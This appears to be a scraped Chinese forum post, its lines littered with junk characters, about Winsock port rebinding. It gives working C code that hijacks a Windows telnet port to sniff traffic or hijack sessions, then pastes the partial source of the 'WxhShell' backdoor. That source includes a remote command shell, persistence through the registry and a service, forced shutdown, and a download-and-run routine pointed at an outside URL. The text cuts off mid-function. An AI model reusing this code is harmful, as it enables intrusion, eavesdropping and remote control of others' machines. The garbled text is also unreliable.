在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/ywP
0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
q
k6 'NZ=DSGIy saddr.sin_family = AF_INET;
fjOq@thD G bclR:G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^H&U_ N#2ldY * bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rlD!%gG2x ZP5 !O[Ut 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4M|uT
9- 1I{8 | 这意味着什么?意味着可以进行如下的攻击:
l<BV{Gl |-G2 pu; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
SI=u-'% xhOoZ- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|/vJ+aKq w7o`BR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vj]>X4'i ,|B-Nq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z V\+za, @1Q-.54a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[IQ|c?DxpL ? ep#s$i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
XIbZ_G^ +D l6&\~Z( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Cf3!Ud ##*]2Dy #include
+)iMJ]> #include
P=5+I+ #include
_BmObXOp. #include
|7tD&9< DWORD WINAPI ClientThread(LPVOID lpParam);
z.!N|"4yr int main()
^w.hI5ua) {
B+j]C$8} WORD wVersionRequested;
1J4Pnl+hN DWORD ret;
dy&UF,l6 WSADATA wsaData;
b1.*cIv} BOOL val;
Z0jgUq`r SOCKADDR_IN saddr;
+t+<?M B SOCKADDR_IN scaddr;
^k;]"NR int err;
q8?kBKP SOCKET s;
Y~-y\l;Tr SOCKET sc;
{O^u^a\m int caddsize;
-f)fiQ-< HANDLE mt;
^ RA'E@" DWORD tid;
W(`QbNJ wVersionRequested = MAKEWORD( 2, 2 );
X,7y| tb err = WSAStartup( wVersionRequested, &wsaData );
LdV&G/G-#D if ( err != 0 ) {
lUm(iYv;H printf("error!WSAStartup failed!\n");
^Tm`motzh return -1;
ViPC Yt`of }
[|DKBJ saddr.sin_family = AF_INET;
En?V\|, :TH cI;PG8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?Gki0^~J 2Wz8E2. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
CWn\KR saddr.sin_port = htons(23);
O1J&Lwpk, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y$ys4X {
sjr,)|#[ printf("error!socket failed!\n");
3/kT'r return -1;
&9p!J(C }
CubQ6@, val = TRUE;
Az`Aa0h]7 //SO_REUSEADDR选项就是可以实现端口重绑定的
W)In.?>]W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2 |s ohF {
Je1d|1!3 printf("error!setsockopt failed!\n");
hmO2s/~ return -1;
_M&TT]a }
=
xO03|T;6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n/+X3JJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/BL:"t@- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nT6y6F_e #jQauO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
J7+G"_)' {
+I3jI < ret=GetLastError();
6#?T?!vZ printf("error!bind failed!\n");
\<4N'|: return -1;
zX>W 8P }
>lQo _p(; listen(s,2);
1-KNXGb' while(1)
KA5)]UF`l {
w,LtQhQ caddsize = sizeof(scaddr);
CLR1CGnn7 //接受连接请求
O
VV@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Rh!UbEPjC if(sc!=INVALID_SOCKET)
06&J!,p
: {
(vs<Fo|] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*'<AwG& if(mt==NULL)
M!UTqf7XL {
2Je$SE8 printf("Thread Creat Failed!\n");
.DCHc,DxA break;
0#,a#P }
8Bf> }
/{i~CGc;" CloseHandle(mt);
_4ag-'5 }
F "@% 7xy closesocket(s);
x84!/n^z WSACleanup();
X 'Ss#s>g return 0;
<$~lFV }
[{znwK@ DWORD WINAPI ClientThread(LPVOID lpParam)
3db{Tcn\@] {
w?Te%/s. SOCKET ss = (SOCKET)lpParam;
V]=22Cxi'~ SOCKET sc;
g{8RPw] unsigned char buf[4096];
#2{-6ey SOCKADDR_IN saddr;
f98,2I(>`+ long num;
|3*9+4]a DWORD val;
^9g$/8[^c_ DWORD ret;
z;c>Q\Q //如果是隐藏端口应用的话,可以在此处加一些判断
b$ G{^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1K72}Gj)ZL saddr.sin_family = AF_INET;
@IT[-d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t&r.Kf9Z\ saddr.sin_port = htons(23);
$^Fl*:6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p=8Qv {
DD|0?i printf("error!socket failed!\n");
/sE,2X*BT return -1;
(m~>W"x/ }
=
tv70d' val = 100;
D tsZP
( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I= mz^c{ {
XHr*Rs.[= ret = GetLastError();
w+M/VsL return -1;
Wh[QR-7Ew }
[BWq9uE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vCzZjGBY {
*FS8]!Qg ret = GetLastError();
`KJ(. m return -1;
a:kAo0@":j }
D31X {dJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%()d$.F {
%go2tv:|W printf("error!socket connect failed!\n");
7#V7D6j1 closesocket(sc);
MqyjTY::Xg closesocket(ss);
wwUI ;g return -1;
eV;r /4 }
W^(zP/ while(1)
E
C?}iP {
BZq#OAp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'\:4Ijp<" //如果是嗅探内容的话,可以再此处进行内容分析和记录
({f}Z-% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!`69.v num = recv(ss,buf,4096,0);
9:j?Jvw$ if(num>0)
Ox3=1M0 send(sc,buf,num,0);
6FUW^dt else if(num==0)
YEL0h0gn break;
})g<I+]Hf9 num = recv(sc,buf,4096,0);
]33!obM if(num>0)
TOwd+]B send(ss,buf,num,0);
&?<uR)tl else if(num==0)
X Xque- break;
dkQ4D2W*\ }
(jc@8@Wo. closesocket(ss);
<2$vo closesocket(sc);
y Zafq"o return 0 ;
j\2Qe%d }
SSK}'LQ ?=u?u
k<- > p`, ==========================================================
mH o#"tc .<x6U*)\O
下边附上一个代码,,WXhSHELL
C{exvLQ I!x.bp~V! ==========================================================
KX)n+{
L2}\Ah"[ #include "stdafx.h"
*a9cBl'_ *"%TAe7?~+ #include <stdio.h>
bJd|mm/v #include <string.h>
=i/Df? #include <windows.h>
ZU4=&K #include <winsock2.h>
v"*r %nCi #include <winsvc.h>
J_Lmy7~xbD #include <urlmon.h>
O-?rFNavxp IH|zNg{\Y #pragma comment (lib, "Ws2_32.lib")
qmS9*me
{ #pragma comment (lib, "urlmon.lib")
mF4W4~" 5ggyk0 #define MAX_USER 100 // 最大客户端连接数
qu=~\t1[6 #define BUF_SOCK 200 // sock buffer
Jo? LPR
\6 #define KEY_BUFF 255 // 输入 buffer
^q7V%{54 Xp<q`w0I, #define REBOOT 0 // 重启
&@~K8*tmK #define SHUTDOWN 1 // 关机
-amo8V;2H ^y<^hKjV #define DEF_PORT 5000 // 监听端口
E`HoJhB m+QS -woHn #define REG_LEN 16 // 注册表键长度
#s)f3HU> #define SVC_LEN 80 // NT服务名长度
Z@~gN5@,M Kb~nC6yJc // 从dll定义API
bnxp[Qk|5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1p&.\ ^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9~SPoR/_0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_O`prX.:B0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{X!vb ) CGQ} // wxhshell配置信息
P,v7twc0M struct WSCFG {
r!r08yf int ws_port; // 监听端口
2/-m-5A char ws_passstr[REG_LEN]; // 口令
($di]lbsT int ws_autoins; // 安装标记, 1=yes 0=no
D8A+`W? char ws_regname[REG_LEN]; // 注册表键名
|J$A%27 char ws_svcname[REG_LEN]; // 服务名
xUJ(tG3 char ws_svcdisp[SVC_LEN]; // 服务显示名
Xdvd\H= char ws_svcdesc[SVC_LEN]; // 服务描述信息
;jPsS^X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E-A9lJWr int ws_downexe; // 下载执行标记, 1=yes 0=no
Gp9 <LB\, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
HQ-[k$d
W4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wL;OQhI cVi_#9u" };
*G"hjc$L X3:1KDVsV // default Wxhshell configuration
}7PJr/IuF struct WSCFG wscfg={DEF_PORT,
5'!fi]Z "xuhuanlingzhe",
1+%UZK= K 1,
D*l(p5[ "Wxhshell",
y?sz&*: "Wxhshell",
ak 7% "WxhShell Service",
\XDiw~0 "Wrsky Windows CmdShell Service",
l\_!oa~ "Please Input Your Password: ",
?1Nz
,Lc$ 1,
kQ\GVI11? "
http://www.wrsky.com/wxhshell.exe",
<spG]Xa< "Wxhshell.exe"
x[A|@\Z };
+y|
B"}x +17!v_4^ // 消息定义模块
Ey@^gHku\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yg\QtWWM char *msg_ws_prompt="\n\r? for help\n\r#>";
5Tn< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b9g2mWL\T char *msg_ws_ext="\n\rExit.";
*|&Y ,H? char *msg_ws_end="\n\rQuit.";
2/SUEnaLy_ char *msg_ws_boot="\n\rReboot...";
g[cnaS|? char *msg_ws_poff="\n\rShutdown...";
u#6s^
)W char *msg_ws_down="\n\rSave to ";
{i>AQ+z61f !@C-|=9G char *msg_ws_err="\n\rErr!";
MN: {,#d0 char *msg_ws_ok="\n\rOK!";
#}Qe{4L Dj/Hz\ char ExeFile[MAX_PATH];
Df"PNUwA" int nUser = 0;
w1Bkz\95 HANDLE handles[MAX_USER];
PKlR_#EB? int OsIsNt;
.ATpwFal >~g- SERVICE_STATUS serviceStatus;
%!` %21 SERVICE_STATUS_HANDLE hServiceStatusHandle;
,[n9DPZ )U/Kz1U // 函数声明
QPuc{NcB> int Install(void);
O>E}Lu;| int Uninstall(void);
{-)^?Zb
@ int DownloadFile(char *sURL, SOCKET wsh);
Csyh
'v int Boot(int flag);
FQek+[ox void HideProc(void);
uc9h}QJ* int GetOsVer(void);
<?41-p-; int Wxhshell(SOCKET wsl);
+G;<D@gSa0 void TalkWithClient(void *cs);
h-p}Qil, int CmdShell(SOCKET sock);
le:}MM int StartFromService(void);
R3g)LnN int StartWxhshell(LPSTR lpCmdLine);
>VhZv75 @tT`s^e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O%%Q./oh VOID WINAPI NTServiceHandler( DWORD fdwControl );
G[}v?RLI mJ%^`mrI // 数据结构和表定义
<*vR_?!
SERVICE_TABLE_ENTRY DispatchTable[] =
^*jwe^ {
$H*8H` {wscfg.ws_svcname, NTServiceMain},
u?V}pYX {NULL, NULL}
;X}2S!7Ko };
1_7p`Gxt[/ %XR(K@V // 自我安装
0MpW!|E[b int Install(void)
#x 6/"Y2 {
Up
Z 9g" char svExeFile[MAX_PATH];
m{oe|UVcmr HKEY key;
\: ZDY(>1 strcpy(svExeFile,ExeFile);
q:_:E*o Aa-5k3:x]= // 如果是win9x系统,修改注册表设为自启动
jd]L}%ax if(!OsIsNt) {
v:lkvMq|= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
",apO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0}GO$%l RegCloseKey(key);
7<LuL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YM#'+wl}` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Av.`'.b RegCloseKey(key);
1PVZGZxAgv return 0;
pZ Uy ( }
ts=D }
}:?*n:g5 }
IlF_g` else {
X$<pt,}% U_jW5mgsG // 如果是NT以上系统,安装为系统服务
PU%Zay SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R(t%/Hvs$ if (schSCManager!=0)
vdXi'< {
=pzTB-G SC_HANDLE schService = CreateService
42e [OG- (
z<Z0/a2'1 schSCManager,
J"#6m&R_q wscfg.ws_svcname,
uj;iE
9 wscfg.ws_svcdisp,
rHk(@T.] SERVICE_ALL_ACCESS,
:@p]~{m :G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A}! A*z<9 SERVICE_AUTO_START,
L@RnLaoQ SERVICE_ERROR_NORMAL,
H-t$A, [ svExeFile,
vJr,lBHEk NULL,
h0-.9ym NULL,
;{8 X+H NULL,
XN-1`5:4I NULL,
~M7X] NULL
iwIn3R, );
$Ptl&0MN% if (schService!=0)
{pQ8/Af! {
C{U*{0} CloseServiceHandle(schService);
'`tFZfT CloseServiceHandle(schSCManager);
ty[%:eG# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ud"_[JtGM strcat(svExeFile,wscfg.ws_svcname);
.NWsr*Tel if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
T6SYXQd>. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uf]wX(*<k RegCloseKey(key);
BgN^].z& return 0;
;=2JbA+"G }
LQqba4$ }
irh Z CloseServiceHandle(schSCManager);
2K3j3 |T }
nUs=PD3) }
6x5Q*^w m5/]+xdNX return 1;
[4EIy" }
Cm5L99Y DmWa!5 // 自我卸载
Mmgm6{ int Uninstall(void)
C-_u`|jQ {
@@a#DjE%/ HKEY key;
Bd*Ok] ^69(V LK if(!OsIsNt) {
G(A7=8vW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y8}y0]V RegDeleteValue(key,wscfg.ws_regname);
9k4z__K e RegCloseKey(key);
F)=<|,b1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%X}D(_ RegDeleteValue(key,wscfg.ws_regname);
XiV*d06{ RegCloseKey(key);
;Ym6ey0t return 0;
Za,o }
H [M:iV }
E690'\)31 }
.R)Ho4CE else {
I+Y Z+ WCaMPz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6wOj,}2Mn if (schSCManager!=0)
FYNUap,A {
@Nm{H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gjiS+N[ if (schService!=0)
LvGo$f/9 {
"tb KbFn9 if(DeleteService(schService)!=0) {
K7$Q. CloseServiceHandle(schService);
p]e.E`'S CloseServiceHandle(schSCManager);
hey/#GC* return 0;
xhCNiYJ| }
qU&v50n CloseServiceHandle(schService);
3]\'Q} }
dXWG`G_ CloseServiceHandle(schSCManager);
E-X02A }
@CPkP }
:3se/4y} 'D[ *|Qcy return 1;
XThU+s9 }
Us6~7L00 *Qngx
// 从指定url下载文件
%YuFw|wO int DownloadFile(char *sURL, SOCKET wsh)
Ug[0l) {
[ P*L`F HRESULT hr;
ee<'j~{A char seps[]= "/";
?<OE|nb& char *token;
cri-u E? char *file;
lBG5~<NT char myURL[MAX_PATH];
,S}wOjb@ char myFILE[MAX_PATH];
.F/l$4CQ (e
2.Ru strcpy(myURL,sURL);
(h&=Na~ token=strtok(myURL,seps);
)
[)1 while(token!=NULL)
SQ/}K8uZ {
G{+zKs}~ file=token;
U~|)=+%O token=strtok(NULL,seps);
:p1_ij]ND }
Oxi^&f||` AAi4}
8+\ GetCurrentDirectory(MAX_PATH,myFILE);
gxDyCL$h3 strcat(myFILE, "\\");
9)F$){G]vs strcat(myFILE, file);
XU['lr&,W send(wsh,myFILE,strlen(myFILE),0);
;F2"gTQS send(wsh,"...",3,0);
r"7 !J[u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.L)j
ql% if(hr==S_OK)
eH;{Ln return 0;
C]zG@O! else
43`Atw`\ return 1;
;P8.U( YRaF@?^Gn }
-ADb5-px C;Kq_/l // 系统电源模块
khP Ub, int Boot(int flag)
Qoz4(~I {
Mf9x=K9 HANDLE hToken;
w!UIz[ajI TOKEN_PRIVILEGES tkp;
0b=00./o |UQGZ if(OsIsNt) {
Fp+fZU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
On;7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!'bZ|j% tkp.PrivilegeCount = 1;
m*AiP]Qu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;%/}(&E2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
TaG(sRI if(flag==REBOOT) {
$3Sm? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C9%A?'` return 0;
G Mg|#DV }
JGlp7wro else {
. N5$s2t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
SQdK`]4 return 0;
FdxV#.BE }
V4<f4|IL }
"6WE6zq else {
&